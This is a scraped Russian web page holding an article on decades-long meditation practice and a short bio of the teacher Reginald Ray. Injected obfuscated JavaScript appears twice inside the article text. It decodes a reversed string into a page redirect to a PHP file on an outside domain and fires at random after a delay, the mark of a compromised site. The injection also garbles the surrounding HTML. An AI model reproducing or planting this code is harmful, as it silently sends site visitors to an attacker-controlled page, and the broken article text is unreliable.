{if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>tour.ru/media/k2/items/cache/d26f2d3a8ff5583681ac68eec63fdc44_L.jpg?t=1498034779″ alt=»Касаясь просветления телом» /></p>
<p><strong>Практикуя медитацию ежедневно, мы действительно часто испытываем чувство облегчения и обретаем покой. Если мы практикуем год или два, мы можем обнаружить, что в нашей жизни происходят сдвиги в позитивном направлении. Но если мы практикуем двадцать или тридцать лет мы часто обнаруживаем себя в другом, гораздо более проблемном состоянии. Мы можем ощущать, что где-то в процессе сбились с пути и застряли.<span id=)
Мы можем обнаружить, что нас захватывают те же самые старые шаблоны поведения и что мы испытываем все те же беспокоящие эмоции. Ученик Чогьяма Трунгпы, практики медитации и преподаватель Реджинальд Рей $NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tour.ru/images/clipart/reggieray1.jpg» alt=»reggieray1″ />
Об авторе
Реджинальд Рей — практик и преподаватель медитации, основатель фонда «Океан Дхармы» (The Dharma Ocean Foundation, (www.dharmaocean.org), ретритного и образовательного центра в Колорадо. Старший учитель (ачарья) в традиции Шамбалы, основанной Чогьямом Трунгпой, профессор буддийских исследований в Университете Наропы и автор нескольких книг.